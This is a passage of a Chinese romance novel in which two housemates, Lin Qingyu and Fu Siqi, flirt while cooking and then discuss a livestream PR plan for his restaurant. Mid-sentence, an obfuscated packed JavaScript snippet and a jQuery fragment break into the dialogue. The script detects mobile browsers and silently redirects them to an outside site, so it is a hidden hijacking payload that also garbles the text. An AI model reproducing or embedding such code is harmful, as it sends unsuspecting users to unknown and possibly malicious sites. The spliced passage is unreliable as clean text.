林晴羽突然扭头，打断了他的怀想。
“你进来下。”
进去时，她正一手握着面对两个黑罐子，看他来了，微翻转了下，把底部两个白色标签转向他，“你自己把盐放在糖罐子里，谁能弄得清楚？”
付思齐接了过来，拧开盖一看，还真是他放错了位置。
林晴羽这才算将他一军，满意一撇眼，“得，你出去等着吧。”
付思齐被她逗笑，“就为了这个把我叫进来？”
“不然呢？”
“我是病人。”
“哦，那病人赶紧出去吧。”林晴羽头也没抬。
付思齐却还是不大放心，从前没见她下过厨，便杵着没动。
林晴羽刚想把青菜下锅，余光瞥见一根木头似的人还搁门口立着，放下盘子就去搡他。
谁知脚步一滑，一只手伸过去，直直扣在了某处。
付思齐视线下移，她那手还不老实地游走了下。
他一手擒住她，“耍流氓？”
林晴羽手腕被拽住，可手掌还贴在他胸肌上。
几年不见，倒是结实许多。
但她真没想摸，是指甲上的钻勾他毛衣上了。
“痛痛痛，你松开！是指甲勾住了。”林晴羽赶紧低头去解。
她不解还不要紧，偏偏这一低头，一股子灼热气息悬于头顶，一阵阵朝她侵袭下来。
抬眸，刚好四目相对。
付思齐正沉沉看她。
“你干嘛……”
“什么？”他气息尽数呼到她脸上，下一瞬才捂住了口鼻。
“没……”林晴羽忽然心头堵堵的，赶忙重新垂下视线去疏通线头和水钻的纠缠。
越慌越乱，她甚至觉得脸颊都开始发起热来。
而后，头顶处降下一声，“我来。”
和声音同时而来的是他的手，蹭过她掌侧，一扫而过。
林晴羽及时送来自己另一只手，任他抓着自己食指，她看见他好看的指甲盖和关节利落的指节，和以前一样干净。
她有些不敢呼吸，怕气息流露到他们贴近的指尖上。
付思齐瞥见她微红耳垂，忍不住轻笑。
靠得太近，林晴羽清楚听见笑声。
“笑什么？”
“你在紧张？”
“别做梦了。”
幸好，勾缠得不深，很快解开。
林晴羽忙退了半步，勒令道：“出去出去。”
看付思齐背身走了，这才深深吐了口气。
……
在又一锅粥新鲜出炉的时候，两个人谈上了天。
餐桌中央飘起轻柔白雾，朦朦胧胧地隔绝了两个人。
林晴羽抱着抱枕曲腿坐在付思齐的对面，她这回穿得非常整齐，由内到外的整齐，甚至把家居服的扣子扣上了顶。
“这回味对了？”隔着雾气看他。
“你先尝尝？”付思齐抬眼，一下便落在她那条扣到顶的家居服上，一根神经从左穿到右，嗡一下的功夫，想到白天的事，又旋即收回了神思，把勺子送她手里。
林晴羽这回却没那么鲁莽了。
刚刚煮粥时她才意识到和付思齐用了同一个勺子。
虽然付思齐看起来没当回事，但或许是因为他比自己反应更迟钝。
她在心里念了两声阿弥陀佛，尽管她并没有什么宗教信仰，可似乎只有用这种方式，才能表达出她对于这天地赐给付思齐的迟钝的无比感谢。
摆了摆手，没接那个勺子，“肯定没问题，你吃吧。”
付思齐嗯一声，低头尝了一口，抬头却对上一个无比的热切眼神。
还以为她是真不在意。
“不是肯定没问题？”他笑了，眉眼轻抬，透出戏谑。
林晴羽被抓了个正着，一时羞耻，慌张收回眼神，“吃你的。”
嘴上这么说，余光却还是不自觉带到那个被举起的白勺上。
而越在意什么，越会放大眼睛里看到的任何一个反应。
她忽然看见付思齐皱眉。
“怎么了？”急忙问。
他的眉头却又舒展开来。
行若无事地朝她看一眼：“嗯？”
“哦，”她摸摸脖子，四处看了看，“没事。”
付思齐低头暗笑。
她紧张之后无措的样子还跟以前似的。
忽地记起从前有一回一起露营时发生的事。
那时候，他们已经见过好几次面，但除了以徐铭辰为中介吃过饭之外，并没有更深入的关系，两个人不熟，也不算太陌生。
山里的夜晚些许泛着凉意，于是他们借来了店家的篝火用具，生出一小团篝火。
有人就在这时提议玩国王游戏。
很俗的游戏，可在绿野天穹之间，在年轻人扎堆之时，做什么都别有风味。
一群人没有异议，直接开始发牌。
首轮，他拿到一张红方7，抽到国王牌的人是徐铭辰。
他被要求和黑桃Q牵手对视一分钟。
“黑桃Q是谁？”大家都张望着看，一个个亮自己的牌，可等了一会儿，黑桃Q迟迟不现身。
他想着或许是哪位朋友带来的女友，却没想到是她。
她在一番催促过后举了手，语气有些尴尬：“是我。”
他们当时就坐在彼此对面，隔着中间的一团小篝火，红色的火光吻进她瞳孔，散出一抹红色的形状。
他以为她是不好意思，所以他打算说还是罚酒算了，可刚举起酒杯，她迎着火光走了过来，主动握住他的手。
“开始计时吧。”
他不知道当时她眼里的他是什么模样的，或许也是被火光熏红了脸，热得手心出汗。
总之，他看见的她脸颊透出被晕染的酡红色，瞳孔里映出两圈人影，他的眼镜一块儿进入了她的眼眶，和红色的火光吻在一起。
他微微感到，她的手心也出汗了。
似乎那样对视的时间是会被无限拉长的，他觉得好像看了她很久，可等她快速抽开手的时候，一边在计时的人的手机屏幕上显示的时间不过短短20秒。
她坐了回去，摸了摸脖子，环顾四周，一边喝着酒，一边自言自语地说：“有点热，我自罚。”
他收紧了手心又隔着火光看她，微笑了下。
她一定不知道，从那时候开始，他就有点喜欢她了。
而她也一定不知道，当时她的手腕在他指尖，那里的脉搏像春日的急雨，跳得极快。
“你男朋友对你好吗？”他忽然开口神思发散地问。
他已经有很长一段时间没和徐铭辰联系，不仅仅是因为林晴羽，价值观不合也是一个主要原因。
徐铭辰这个人，说好不好，说坏倒也不至于，每个人都有自己的想法，想往高处融，也在情理之中，他不便置喙。
林晴羽还沉浸在刚刚的尴尬里，没反应过来，“什么？”
“你男朋友对你怎么样？”他舀着粥，泰然地又重复了一次。
男朋友？
哦，她想起来了，她是对他说过有男朋友。
“干嘛？刚刚约法三章，你忘了？”
就在等粥煮开的时间里，他们商量着制定了一套合租守则。
第一点要求就是不过问对方私事。
不是你自己提的吗？她轻撇一眼他。
“随口一问。”
“行，那我随口不答。”林晴羽撇开头打了声哈欠，一滴晶莹的水就顺势坠落到她的手背上。
“困了？”付思齐看见那粒圆润泪珠在他眼皮子底下划进了她纤细的指缝里。
确实困了，林晴羽看看时间，夜很深了，伸了个懒腰：“嗯，我去睡了，明天去店里找你。”
“行，晚安。”
林晴羽刚把腿放下，听到这句一愣，倒鲜有这么不针锋相对的时候。
随后也对他笑笑，“晚安。”
……
隔天林晴羽起床起得异常吃力，不光是因为睡晚了，还因为做了场梦。
可刚醒的时候还记得清，到公司的时候已经全忘了。
唯一记得的是，梦见了徐铭辰。
时隔很久，她也纳闷怎么会梦到他。
想了想，可能还是和睡前看到的那条验证消息有关系——徐铭辰大概是从阿怡那里要来的联系方式才加了她。
电梯门口又是你推我搡的拥堵情况，林晴羽好不容易才挤进去，靠在最角落，翻看手机消息。
来自徐铭辰：「早。」
她以为那天她说得够清楚了，可明显，徐铭辰不这么认为。
又来一条：「我听说你去白海了。」
她回：「？」
不一会儿电梯到了她在的楼层，于是熄了屏挤下去。
坐定了又收到一条消息。
她心情变得不大妙。
打开手机却发现是来自付思齐的消息。
发的语音，声音正常了不少，没昨天沙哑了，“还是11点，你吃什么？”
林晴羽看了眼时间，这才八点三十。
笑着拍了张早饭的照片发过去，“我都没吃早饭呢。”
“昨晚睡了觉，今天就不用睡了？”
林晴羽咬着煎饼，听着语音播放完，只翻了个白眼。
这张破嘴。
但她还是告诉付思齐想吃他店里的芋泥春卷。
“我付钱，不用你请我。”
“没说要请你。”
“……”
中午十一点时，按照约定见面。
餐桌上摆着芋泥春卷，还有一碗清面，上头洒着葱花。
“你自己做的？”
付思齐摇头：“厨师做的。”
“哦。”
“没睡好？”他一眼就看到林晴羽眼下的那点乌青，化妆都没盖住。
“做梦了，没事。”
两个人之所以不在家里谈，是因为守则里有一条：不谈公事。
这是为了避免纠纷，毕竟上次的不欢而散是前车之鉴。
付思齐的脸色今天好了不少，林晴羽吃面的时候用余光打量了他一眼。
宝蓝色的针织毛衣衬得肤色更白，额发今日也被他拨弄到了后方，目光清粼粼的，精气神旺盛。
她好像从来没问过他怎么不带眼镜了。
这时有些无聊，便问了一嘴。
“你怎么知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399946|168344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我以前戴眼镜？”付思齐觉得好笑，不是装不认识吗？露什么马脚？
林晴羽才意识到嘴太快了，但她脑子转得也快，一下想到昨天那个礼物盒，扯谎弥补：“你昨天甩给我的‘垃圾’里不是有你照片？就感觉你带眼镜和现在差别挺大的。”
“这样啊。”付思齐轻轻瞥了她一眼，没选择戳穿她。
“嗯。”林晴羽和他对视时恰好撞上他审视的目光，他不会是记起她了吧？
算了算了，还是不开口聊闲事为妙。
她赶紧在包里拿文件，转移话题道：“谈正事。”
大概是太忙乱了点，文件抽出来的时候把里面东西带了出来。
“啪”一声，一个方形的盒子掉在地上。
林晴羽定睛一看，一个赫然的001字样在桌子的的阴影下明显夺目，被骇得变了脸色，赶忙弯下腰去。
眼疾手快塞进包里，抬头解释：“不是，这是我去超市的时候促销送的，你别误会。”
付思齐清楚瞟见那玩意儿是什么，嗤笑了下，“误会什么？误会你很有安全意识？”
林晴羽：“……”
真是超市促销送的，满500可以抽奖，谁知道被她抽中这么个东西。
店员还跟她宣传：“这很好的嘞，材质很薄，体验感比其他款式都要好。”
此时解释如同掩饰，倒多了几分此地无银三百两的嫌疑。
付思齐又添了一句：“没事，人之常情，可以理解。”
“……”
谁求你理解了？
但扭扭捏捏的才更惹人猜想。
林晴羽索性不再解释来龙去脉，看他一眼，大方拿出那个盒子来，“看你喜欢，那送你了。”
她也补：“没事，人之常情嘛，你比我需要。”
付思齐目光幽深，看不出什么情绪，唇上的假笑却明显，“谢谢啊。”
就在这光天化日之下，一张桌子的正中心，一盒薄厚度为001的避孕套画出一道弧度，到了付思齐的手上。
路过的服务生眼神简直像看见了黄金眼节目中的奇葩轶事般震惊，老板不愧是老板，避孕套还得别人代买。
“不客气。”林晴羽略过异样的目光，沉静地微笑作答。
接着看到付思齐把方盒子塞进自己口袋里。
心里翻了个白眼，说不客气你还真不客气。
“想要回去？”付思齐发现她视线飘过来，冷哼着问。
林晴羽撇撇嘴，刚想驳他，又听见他慢悠悠说：“没机会了。”
她没忍住，一下笑了出声。
“行行行，你留着，好好用，多多用。”
店里还像上次来时一样安静，所以显得这笑声格外突兀，林晴羽也发现自己笑得有些过分欢脱，咳了声收住。
对面的付思齐抱着臂，泰然看她，那表情好像就是在等她收住笑的那一刻。
她清清嗓把话题拉回正轨，将文件递过去，“你看一下方案吧。”
“还好，还记得正事，没被欲望冲昏头脑。”
“打住好吗！”林晴羽略过这一句，自然地开始给他介绍方案条目，“因为这件事在网上发酵的厉害，所以还是得从网络着手，我们这边的想法就是做一个48小时的全透明厨房直播，相应设备我们也会提供，你只要和厨房的工作人员提前说明一声就好，另外，我这边还会找几个美食KOL在这48小时之内到店盲测菜品，算是积累声量，扩大舆论瓦解的范围——”
“有问题吧？”付思齐趁间隙打断她，把方案书放到桌上，手指戳向全透明厨房直播的规划流程，“很容易让人认为是作假。”
“不会，”林晴羽说，“这是线上，线下我们也有对应的措施，你可以看文件的后半部分。”
付思齐向后翻页，一张A4纸上以手绘的形式画着流程，Q版的小人举着放大镜，头顶侦探帽，线条歪歪扭扭。
林晴羽也对应翻到那一页上，略微有点不好意思，“临时想的，还没来得及让团队改工。”
“嗯。”付思齐勾了下唇，这画技够拙劣的。
这笑容落在林晴羽眼里，跟活生生的嘲讽一样。
“可以不笑吗？”
付思齐一脸无辜：“我没有。”
“……”
林晴羽无奈沉了口气，接着说：“线下的话主要是让顾客也参与进来，毕竟这种舆论不管是真是假，对店里的口碑打击是很大的，只有顾客认可了，才能挽回局面。”
她指了指纸页上的一个形似仪器的图画，“这是检测仪，只要进店，就发给顾客，每桌备一个，只要顾客想，她/他就可以参与到后厨的直播来。”
“那我需要做什么？”
林晴羽眸光一闪，打了个响指，“你问到点子上了！”
付思齐突然感受到一股不怀好意的寒气。
林晴羽笑了下，“别怕，就是需要你出镜，我们店里女性顾客还是比较多，她们只要想去检测，你就亲自带着她们进去就行。”
“有什么用？”
“好好利用下你好看的脸啊。”林晴羽公事公办地说出这一句。
付思齐一笑，胳膊置在桌面上，定睛看她：“好看……的脸？”